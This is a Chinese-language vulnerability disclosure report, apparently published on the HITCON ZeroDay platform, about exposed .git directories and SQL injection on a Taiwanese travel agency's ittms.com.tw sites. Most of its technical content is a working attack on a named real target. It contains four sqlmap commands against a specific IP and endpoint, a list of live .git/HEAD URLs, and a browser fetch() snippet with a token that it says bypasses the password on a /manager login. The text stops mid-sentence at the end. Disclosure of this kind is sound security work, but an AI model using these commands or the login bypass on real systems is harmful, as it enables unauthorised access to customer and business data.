Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-01070
- Vendor: 全家國際旅行社股份有限公司 喜多方科技有限公司 喜鴻旅行社有限公司
- Title: 全家國際旅行社 可從源IP git洩漏 並SQL注入
- Introduction: 直連IP git洩漏 直連IP SQL注入 網域注入不了
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/08/23 02:09:33 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
- 2026/08/23 02:11:22 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
- 2026/08/23 02:14:10 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
- 2026/08/23 02:33:26 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
- 2026/08/23 02:53:12 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
- 2026/08/23 06:19:24 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
- 2026/08/23 06:43:24 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
- 2026/08/28 18:16:20 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/31 17:32:18 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/31 17:32:18 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/31 17:32:18 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/10/23 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-01070
- 通報者:koby12345 (桃園怪人協會幹部之一)
- 風險:低
- 類型:資訊洩漏 (Information Leakage)
參考資料
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
相關網址
https://family.ittms.com.tw
git洩漏版本2
https://dev-hsihung.ittms.com.tw/.git/HEAD
調查歷史發現
根據
https://zeroday.hitcon.org/vulnerability/ZD-2024-01442
看起來原始漏洞存在 屬於繼承行漏洞
且歷史上有洞的網站已經被關停
以網域 .ittms.com.tw 來看
同網域 還有很多能訪問git的 但都不能完整下載 不能SQL注入的網站
從以下網站判斷 洩漏git和SQL注入應該不是預期行為
https://web-o2.ittms.com.tw/.git/HEAD
https://www.ittms.com.tw/.git/HEAD
https://cktour.ittms.com.tw/.git/HEAD
https://vivid.ittms.com.tw/.git/HEAD
https://sunshine.ittms.com.tw/.git/HEAD
https://mytour.ittms.com.tw/.git/HEAD
https://lk1992.ittms.com.tw/.git/HEAD
敘述
確認可攻
sqlmap -u "https://202.168.206.84/API/get_codeflag.php" \
--data "name=test" \
-p "name" \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2 \
--hex
確認 不是DBA
sqlmap -u "https://202.168.206.84/API/get_codeflag.php" \
--data "name=test" \
-p "name" \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2 \
--dbms=mysql \
--technique=U \
--is-dba \
--hex
查用戶名travel_user@%
sqlmap -u "https://202.168.206.84/API/get_codeflag.php" \
--data "name=test" \
-p "name" \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2 \
--dbms=mysql \
--technique=U \
--current-user \
--hex
查數據庫 ittms_inbound
sqlmap -u "https://202.168.206.84/API/get_codeflag.php" \
--data "name=test" \
-p "name" \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2 \
--dbms=mysql \
--technique=U \
--current-db \
--hex
只要在
https://dev-hsihung.ittms.com.tw/login
打開F12 輸入
fetch('/login-api/action', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'token=JTo6eDo6eA=='
}).then(r => r.text()).then(t => console.log(t));
然後到
https://dev-hsihung.ittms.com.tw/manager
就可以免密登入了
實際上SQL注入